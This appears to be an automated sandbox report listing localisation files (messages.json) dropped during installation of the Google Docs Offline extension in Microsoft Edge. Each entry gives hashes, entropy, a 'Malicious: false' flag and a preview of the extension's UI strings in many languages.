C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6764_1081661872\CRX_INSTALL\_locales\fa\messages.json

Download File

